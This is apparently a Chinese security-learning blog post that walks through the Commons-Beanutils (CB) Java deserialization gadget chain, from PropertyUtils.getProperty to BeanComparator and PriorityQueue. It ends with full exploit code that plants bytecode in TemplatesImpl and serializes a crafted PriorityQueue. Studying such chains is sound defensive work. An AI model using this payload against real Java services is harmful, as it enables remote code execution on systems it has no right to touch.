Commons-Beanutils
这个包是对Java Bean进行加强的
依赖
1 2 3 4 5
| <dependency> <groupId>commons-beanutils</groupId> <artifactId>commons-beanutils</artifactId> <version>1.8.3</version> </dependency>
|
Java Bean 类
Java Bean是一种规范,准确的说是一种Java类的书写规范,满足以下条件的Java类可以称之为Java Bean
1、成员变量均使用private关键字进行修饰
2、提供构造方法(有参/无参)
3、为每个成员变量提供set/get方法
例如
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| public class Student { private String name; private int sid; private int age;
public Student(String name, int sid, int age) { this.name = name; this.sid = sid; this.age = age; } public Student() { }
public void setName(String name) { this.name = name; }
public void setSid(int sid) { this.sid = sid; }
public void setAge(int age) { this.age = age; }
public String getName() { return name; }
public int getSid() { return sid; }
public int getAge() { return age; } }
|
链子
而有了CB这个包,就可以用以下形式来直接动态获取值
1
| System.out.println(PropertyUtils.getProperty(student, "name"));
|
这里断点进去看看是如何实现传入name
就调用getName
方法的
进去后发现会去调用getNestedProperty
跟进后发现他是去判断我们传入的类是什么类型的,如果都不属于下图中类就调用getSimpleProperty
方法
然后也是进去一系列判断如果都不属于这些类就调用getPropertyDescriptor
方法
而这个就是重点方法了,这里其实不需要去看他怎么实现的,他会返回PropertyDescriptor类
我们直接看他返回的对象descriptor
即可
可以发现他返回了几个属性,恰好就是setter getter方法名字
再接着往下就是获取方法的名字,然后去调用641行的反射
所以到这里我们又可以想象Fastjson
一样,假设谁的 PropertyUtils.getProperty
传参是可控的,那么找到一个函数的 getter 是有危险行为的,那么通过CB链就可以去触发导致代码执行(而在Fastjson中也是有这种情况发生,所以后半段恶意类加载就可以利用TemplatesImpl
链来完成)
我们可以来写一个demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| TemplatesImpl templates = new TemplatesImpl(); Class tc = templates.getClass(); Field bytecodesField = tc.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("E:\\Java_project\\Serialization_Learing\\target\\classes\\Test.class")); byte[][] codes = {code}; bytecodesField.set(templates, codes); Field nameField = tc.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates, "test"); Field facField = tc.getDeclaredField("_tfactory"); facField.setAccessible(true); facField.set(templates, new TransformerFactoryImpl()); templates.newTransformer(); System.out.println(PropertyUtils.getProperty(templates, "outputProperties"));
|
那么现在已经后半条链已经衔接好了,现在就是去找jdk跟CB依赖中进行衔接的反序列化点
也就是去找谁去调用了getProperty
方法
于是找到了 commons-beanutils-1.8.3.jar!\org\apache\commons\beanutils\BeanComparator#compare()
方法
这写法跟CC4的太像了真的,所以找到compare()
就可以联想到CC4的入口直接拼起来就可以串起来了
其实在这里我一直有个疑问,就是这个compare()
到底是否可控,因为他传两个参数我并不知道是在哪里可以控制的,调试了下也明白了,如下图
可以发现在721行是将x
传入,那么x
怎么进来的呢?
在上一个方法中就把x
传进来了
在heapify
中就传了对象,再往上跟就是readObject
了,而在heapify
中进行了数组的右移所以可以寻找到该属性通过 priorityQueue.add(templates);
传入的类,如果我们传入 3
就会不一样了
就会变成数字类3
这也就是为什么我们队列这里要写入TemplatesImpl
类,这样子才能去调用到TemplatesImpl
类的getter方法
那么直接写EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| TemplatesImpl templates = new TemplatesImpl(); Class tc = templates.getClass(); Field bytecodesField = tc.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("E:\\Java_project\\Serialization_Learing\\target\\classes\\Test.class")); byte[][] codes = {code}; bytecodesField.set(templates, codes); Field nameField = tc.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates, "test");
BeanComparator beanComparator = new BeanComparator("outputProperties",new AttrCompare());
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
priorityQueue.add(templates); priorityQueue.add(2);
Class c = priorityQueue.getClass(); Field comfield = c.getDeclaredField("comparator"); comfield.setAccessible(true); comfield.set(priorityQueue,beanComparator);
serialize(priorityQueue);
|
CB的时候要生成CC跟CB都有的类,以下是组长整理的
流程图